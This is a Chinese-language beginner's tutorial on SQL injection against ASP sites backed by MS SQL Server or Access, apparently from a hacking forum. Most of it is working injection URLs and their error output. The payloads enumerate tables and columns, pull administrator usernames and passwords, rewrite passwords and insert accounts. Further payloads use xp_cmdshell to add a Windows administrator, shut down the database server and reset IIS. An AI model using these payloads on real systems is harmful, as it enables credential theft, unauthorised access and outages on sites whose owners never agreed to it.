利用SQL進行添加,更改,查看記錄。
當一臺主機臺開了80端口,當你手頭沒有任何黑客工具,那么,偶們有SQL。
他不需要你其他東東,只要一個瀏覽器就夠了。HOHO,偶的文章菜菜,偶寫這
篇文章只是為了讓一些對SQL很陌生的菜菜們看的,老鳥繞道。。。
1,什么是SQL注入?
SQL注入,就是利用欺騙的方式,通過網(wǎng)頁的查詢功能,或查詢命令注入。
當用戶來到網(wǎng)站,會提交一些數(shù)據(jù),再到數(shù)據(jù)庫進行查詢,確定此用戶的身份。
舉個簡單的例子來說吧,你去一個站點的論壇,那么,你會輸入你的用戶名和
密碼,點“確定”,網(wǎng)站會通過數(shù)據(jù)庫的查詢來判斷你是不是他們的用戶,
你的用戶名和密碼是否正確。而利用SQL注入,通過構(gòu)造特殊的語句,來查找我
們所想要得到的信息,如管理員的賬號密碼。以下,小林用了http://xxx.xxx.com
來表示一個存在注入漏洞的網(wǎng)頁。
2,助手篇,
先把IE菜單-工具-Internet選項-高級-顯示友好 HTTP 錯誤信息前面的勾去掉。
否則,不論服務(wù)器返回什么錯誤,我們都只能看到“HTTP 500服務(wù)器錯誤”,不能獲得更多的提示信息
。
3,哪些網(wǎng)頁能利用?
我們?nèi)フ乙恍┮峤粩?shù)據(jù)的網(wǎng)頁,如:登陸頁面,查找頁面,添加頁面等
找到后,如果你注意過網(wǎng)頁的源代碼,那么,你會發(fā)現(xiàn),他上面一般有一個如下的表單:
<FORM action=login.asp method=post>
<input ........
</FORM>
這些網(wǎng)頁,后綴如asp,jsp,cgi,php網(wǎng)頁。
如:http://xxx.xxx.com/index.asp?id=10
上面這個例子,就是ASP頁后,看到他的ID還的值了嗎?是10。一般,我們找的就是這些頁面
來練手了。(要做個好人噢。)
4,怎么測試它是存在注入漏洞的呢?這一步偶稱它為“踩點”。
小林有一個毛病,看什么網(wǎng)頁,就要順手在參數(shù)(如上面的10)上加一個小小的引號。
http://xxx.xxx.com/index.asp?id=10
返回錯誤信息:
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
字符串 之前有未閉合的引號。
/job/grxx.asp,行141
這就是說,他用的是MsSQL數(shù)據(jù)庫。這個引號,導致引號未閉合的錯誤。本身就是錯的,因為
通常一個整數(shù)是不用在SQL里加引號的。
如果他不是一個整數(shù)而是字母呢?
http://xxx.xxx.com/index.asp?user=lamb
那我們就把引號放到lamb中間,如lamb
呵呵,又出錯了吧?
這說明,站點這一部分的代碼是大有問題的(當然,就算他有源碼公布在網(wǎng)上,我也懶得看)
當然,我們也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,這里的columnaaa是我亂寫的)
出現(xiàn)錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
columnaaa.
/job/grxx.asp,行27
這說明,這是一個SQL,里面沒有columnaaa這個字段(我習慣說“列”)。
利用出錯的信息,我們現(xiàn)在多少了解了這個站點的服務(wù)了吧?
5,現(xiàn)在開工啦,偶不喜歡猜測他的字段名,太浪費TIME了,我們要想辦法讓數(shù)據(jù)查詢中出錯。
要產(chǎn)生一個錯誤讓它自己報出數(shù)據(jù)庫里的值。讓我們用一用SQL語法GROUP BY 或HAVING。如:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
出現(xiàn)錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
invalid in the
select list because it is not contained in an aggregate function and there
is no GROUP BY
clause.
/more.asp,行27
看到article.newsid了嗎?說明有一個叫article.newsid的列,因為你在用HAVING,所以你必須還要用
上GROUP BY,于是黑客就重復錯誤提交,直到?jīng)]有得到錯誤。
這里要說明一下:分號在這里分離,%20 是空格,--表示后面是一個注釋,也就是說只是說明,不能去
執(zhí)行代碼。(*_*)
下面是具體例子:
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.newsid這真是好東西。
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
得到錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 20
得到:
article.title
我們反復地一個一個加上來提交。
得到錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 56
這里要注意了,都到哪兒了?到下一個表了。
現(xiàn)在我們知道這里至少有2個表,他們的別名是:adm和article,如里面article對應的是:newsid等
title
利用系統(tǒng)表:
下面,我們要確定表名來加入數(shù)據(jù)。
系統(tǒng)表是MS-SQL 2000的一部分,名叫sysObjects table,我們將要用到查詢UNION SELECT,。
要從SysObjects table 有天地拿到表名,一般使用下面語句:
SELECT name FROM sysObjects WHERE xtype=U U是指明定議USER的表。
黑客們已經(jīng)知道了表里的列,
現(xiàn)在他們能在下面加一些數(shù)字。甚至如下面的:
在地址欄里打入:
http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U--
記住,上面的,1-6數(shù)據(jù)中,6是我們想要的。不過有時候會出現(xiàn)數(shù)據(jù)類型錯誤,
http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT ;TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
MS SQL服務(wù)將試圖去轉(zhuǎn)換一個string (nvarchar)到integer。那么就會出錯:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
table1 to a column of data type int.
/index.asp, line 5
這個錯誤信息很“友好”地告訴我們string (nvarchar)值不能被轉(zhuǎn)換成integer。
這樣,我們就獲得了數(shù)據(jù)表的第一個表名!這個表名就是tabel1。
要獲得第二個表名,我們繼續(xù),用以下查詢:
http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;SELECT TOP 1 TABLE_NAME
FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--
也可以用關(guān)鍵字查找數(shù)據(jù):
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25ADMIN%25--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
admin_login to a column of data type int.
/index.asp, line 5
尋找與之匹配的值,%25ADMIN%25在SQL服務(wù)器上將被認作 %ADMIN%。這樣,我們就能獲得符合標
準的表名為"admin_login"的表了。
那么,如何獲得表里所有的列表?
我們能利用另一個有用的東東,INFORMATION_SCHEMA.COLUMNS 出場?。?!
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
u_id to a column of data type int.
/index.asp, line 6
看,我們有了第一個字段的名,我們用NOT IN () 來獲得下一個字段名:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
NOT IN
(u_id)--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
u_name to a column of data type int.
/index.asp, line 5
我們繼續(xù),獲得其他列表。如:"password"等,因為我們獲得下面錯誤信息:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
NOT IN
(u_id,u_name,password,contents)--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
in the select
list if the statement contains a UNION operator.
/index.asp, line 5
6。2 如何找到我們要找的重要數(shù)據(jù)呢?
現(xiàn)在我們知道了表名,字段名,我們用相同的方法收集我們要的在數(shù)據(jù)庫里的信息。
現(xiàn)在,我們從"admin_login" 表里取得第一個u_name :
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 u_name FROM
admin_login--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
adminroot to a column of data type int.
/index.asp, line 5
我們知道,這里有登陸的用戶名叫 "adminroot"的管理員。最后,從數(shù)據(jù)庫里獲得"adminroot" 的密碼
:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
admin_login where
u_name=adminroot--
現(xiàn)在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
root to a column of data type int.
/index.asp, line 5
我們現(xiàn)在能用戶名"adminroot"密碼:"root"登陸了。
如何取得數(shù)字的值?
以上技術(shù)描述有有一定的局限性。當我們試圖轉(zhuǎn)換文本組成有效的數(shù)字0-9我們不能得到任何錯誤。
讓我們說說如何獲得"tony"的密碼,密碼是 "19840217":
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
admin_login where
u_name=tony--
我們很可能發(fā)現(xiàn),該頁無法顯示的錯誤。這結(jié)果表示,密碼"19840217"被修改到一個數(shù)了。在整
合一個整型(10 也是),因為這是一個有效的整合。所以SQL服務(wù)就不會給出錯誤的提示了。
我們就得不到數(shù)字的登陸了。
要解決這個問題,我們能附加一些字母來測試轉(zhuǎn)換失敗。我們用以下的測試來代替:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 convert(int,
password%2b%20lambgirl) FROM admin_login where u_name=tony--
我們簡單地利用加號+設(shè)置密碼數(shù)據(jù)文件的搜索路徑。隨便加一些。ASSCII碼+ = 0x2b
我們將添加空格在密碼里。所以,如果把我們的密碼是19840217。他將變成19840217 lambgirl.
調(diào)出了轉(zhuǎn)換了的函數(shù)。試著將19840217 lambgirl轉(zhuǎn)變成整型。SQL服務(wù)將出現(xiàn)ODBC錯誤:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
19840217 lambgirl to a column of data type int.
/index.asp, line 5
現(xiàn)在,你就能用tony和密碼:19840217 lambgirl了。
如何在數(shù)據(jù)庫修改,插入數(shù)據(jù)?
當我們成功地獲得了表名,字段。就很容易在數(shù)據(jù)庫里修改甚至插入新的數(shù)據(jù)。如更改"adminroot"
的密碼,我們
http://xxx.xxx.com/job/grxx.asp?id=23 ;UPDATE admin_login SET password =
newpas5 WHERE
u_name=adminroot--
要在數(shù)據(jù)表里插入新記錄,
http://xxx.xxx.com/job/grxx.asp?id=23 ;INSERT INTO admin_login (u_id,
u_name,
password, contents) VALUES (123,xiaolin,pas,lambgirl)--
現(xiàn)在,我們就能用xiaolin pas 來登陸了。
如何遠程執(zhí)行SQL漏洞?
能進行SQL注入命令表明,我們能查任何我們想要查的。默認安裝的的MS SQL服務(wù)
在系統(tǒng)中權(quán)限等于管理員。我們能利用執(zhí)行存儲過程像xp_cmdshell 來執(zhí)行遠程破壞:
; exec master..xp_cmdshell ping 192.168.0.2--
(如果單引號不能用,就換成雙引號)
分號表示結(jié)束前面的SQL查詢,從而允許你開始另一個新的SQL命令。
為了檢驗命令成功執(zhí)行,你可以監(jiān)聽從192.168.0.2發(fā)出的的ICMP包。查看是否發(fā)出包。
#tcpdump icmp
如果你沒有接到PING主機的回應,得到一個錯誤的提示,權(quán)限錯誤,那么,很可能管理員
限制了WEB用戶對xp_cmdshell 等的權(quán)限。
如何找出MYSQL查詢結(jié)果?
這很容易用sp_makewebtask來把你查詢的結(jié)果放到一個HTML里:
; EXEC master..sp_makewebtask " "SELECT * FROM
INFORMATION_SCHEMA.TABLES"
但是目標IP必須共享文件夾。
http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net user
name
password /add”--
xp_cmdshell 用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password
的windows的賬號,接著:
http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net
localgroup name
administrators /add”--
將新建的賬號name加入管理員組,不過這種方法只于用sa連接數(shù)據(jù)庫的情況,否則,沒有權(quán)限調(diào)用
xp_cmdshell。
其他方面,如利用SQL的命令填寫:
將使SQL服務(wù)快速關(guān)閉
用戶名: ; shutdown with nowait; --
密碼: 不填
導致嚴重問題,網(wǎng)絡(luò)故障。
用戶名: ; exec master..xp_cmdshell iisreset; --
密碼:不填
關(guān)于ACCESS部分,
和ASSQL差不了多少,也是先在http://xxx.xxx.com/index.asp?id=10
出錯的話,繼續(xù)提交:
先測試是否有ADMIN表,
http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)
http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
沒有的話,就換一個名字,如user啊,什么的。再猜里面是否有username這個字段.
and 1=(select count(*) from admin where len(username)>0)
如果出錯,同理,我們也可以給它換一個名字。
接下來我們猜用戶的具體名字。
and 1=(select count(*) from admin where left(username,1)=l)
這時我們可以一個一個地來猜。
and 1=(select count(*) from admin where left(username,2)=la)
接下來猜密碼,猜密碼的道理同猜用戶名一樣。
and 1=(select count(*) from admin where left(password,1)=l)